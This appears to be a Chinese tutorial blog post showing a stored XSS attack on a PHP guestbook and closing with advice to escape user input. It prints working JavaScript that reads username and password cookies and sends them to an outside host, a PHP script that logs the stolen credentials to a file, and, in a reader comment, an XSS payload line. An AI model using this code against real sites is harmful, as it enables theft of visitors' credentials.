文档章节

xss攻击简单实例

凡尘里的一根葱
 凡尘里的一根葱
发布于 2015/12/02 10:59
字数 787
阅读 755
收藏 6

一个简单的留言板攻击实例

我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表

<!DOCTYPE html><html><head>
    <?php include('/components/headerinclude.php');?></head>
    <style type="text/css">
        .comment-title{
            font-size:14px;
            margin: 6px 0px 2px 4px;
        }

        .comment-body{
            font-size: 14px;
            color:#ccc;
            font-style: italic;
            border-bottom: dashed 1px #ccc;
            margin: 4px;
        }
    </style>
    <script type="text/javascript" src="/js/cookies.js"></script><body>
    <form method="post" action="list.php">
        <div style="margin:20px;">
            <div style="font-size:16px;font-weight:bold;">Your Comment</div>
            <div style="padding:6px;">
                Nick Name:                <br/>
                <input name="name" type="text" style="width:300px;"/>
            </div>
            <div style="padding:6px;">
                Comment:                <br/>
                <textarea name="comment" style="height:100px; width:300px;"></textarea>
            </div>
            <div style="padding-left:230px;">
                <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
            </div>
            <div style="border-bottom:solid 1px #fff;margin-top:10px;">
                <div style="font-size:16px;font-weight:bold;">Comments</div>
            </div>
            <?php 
                require('/components/comments.php'); 
                if(!empty($_POST['name'])){
                    addElement($_POST['name'],$_POST['comment']);
                }
                renderComments();            ?>
        </div>
    </form></body></html>

addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,网页看起来是这样的

image

XSS

因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入

image

这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子


利用xss窃取用户名密码

当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。

恶意用户会这么输入

image

我们看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);

几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php

发送了一个get请求

http://test.com/index.php

<?php    
if(!empty($_GET['password'])){        
$username=$_GET['username'];        
$password=$_GET['password'];        
      try{           
         $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';            
         $fp=fopen($path,'a');            
         flock($fp, LOCK_EX);            
         fwrite($fp, "$username\t $password\r\n");           
         flock($fp, LOCK_UN);            
         fclose($fp);
     }catch(Exception $e){

      }
    }
?>

这样恶意用户就把访问留言板的用户的信息窃取了


怎么预防

上面演示的是一个非常简单的XSS攻击,还有很多隐蔽的方式,但是其核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题,当然很多解决方案都对XSS做了特定限制。但防不胜防,总有些聪明的恶意用户会到我们的网站搞破坏,对自己站点不放心可以看看这个XSS跨站测试代码大全试试站点是否安全。


本文转载自:

共有 人打赏支持
凡尘里的一根葱
粉丝 36
博文 101
码字总数 12056
作品 0
深圳
程序员
私信 提问
加载中

评论(1)

r
rudy_24
<IMG src="javascript:alert('XSS');">
XSS跨站脚本攻击过程最简单演示

大多数人对于XSS的原理有一个基本认识,这里不再重复,只给出一个能够演示其原理的完整样例。 1 角色分配 有XXS漏洞的网站,IP地址172.16.35.135,PHP为开发语言 受害访问者,IP地址172.16....

笨小熊
2016/11/13
206
0
如何预防 XSS 攻击

XSS攻击是什么 XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站...

一介布衣
2015/09/16
0
0
记一次简单的XSS攻击实验

之前就对XSS有所耳闻,不过昨天在学习《深入浅出nodejs》过程中,才深入了解到XSS攻击的原理,于是找到那本很早就想看的《web前端黑客技术解密》,找到 跨站攻击脚本XSS 章节,于是有了下面这...

趁你还年轻233
2017/12/02
0
0
Web安全-XSS跨站脚本攻击

概述 跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。 XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢? XSS是指恶意攻...

True_10
01/07
0
0
Web安全系列(一):XSS 攻击基础及原理

跨站脚本攻击(XSS)是客户端脚本安全的头号大敌。本文章深入探讨 XSS 攻击原理,下一章(XSS 攻击进阶)将深入讨论 XSS 进阶攻击方式。 本系列将持续更新。 XSS 简介 XSS(Cross Site Scri...

梁音
2018/09/12
0
0

没有更多内容

加载失败,请刷新页面

加载更多

Django进阶 1.1 ORM基础—ORM 1.2.1 增删改查之查询 1.2.2 删改增 (1) 1.2.3 删改增 (2)

ORM基础 ORM是Django操作数据库的API,Django的作者将sql语句封装在里面供我们使用。 我们前面还提到过Django提供一个模拟数据库的工具,sqlite,供我们学习测试使用。 如果我们想使用mysql...

隐匿的蚂蚁
今天
1
0
Windows 上安装 Scala

在安装 Scala 之前需要先安装 Java 环境,具体安装的详细方法就不在这里描述了。 您可以自行搜索我们网站中的内容获得其他网站的帮助来获得如何安装 Java 环境的方法。 接下来,我们可以从 ...

honeymose
今天
3
0
数据库篇多表操作

第1章 多表操作 实际开发中,一个项目通常需要很多张表才能完成。例如:一个商城项目就需要分类表(category)、商品表(products)、订单表(orders)等多张表。且这些表的数据之间存在一定的关系...

stars永恒
今天
3
0
nginx日志自动切割

1.日志配置(Nginx 日志) access.log----记录哪些用户,哪些页面以及用户浏览器,IP等访问信息;error.log------记录服务器错误的日志 #配置日志存储路径:location / {      a...

em_aaron
昨天
5
0
java 反射

基本概念 RTTI,即Run-Time Type Identification,运行时类型识别。RTTI能在运行时就能够自动识别每个编译时已知的类型。   要想理解反射的原理,首先要了解什么是类型信息。Java让我们在运...

细节探索者
昨天
2
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部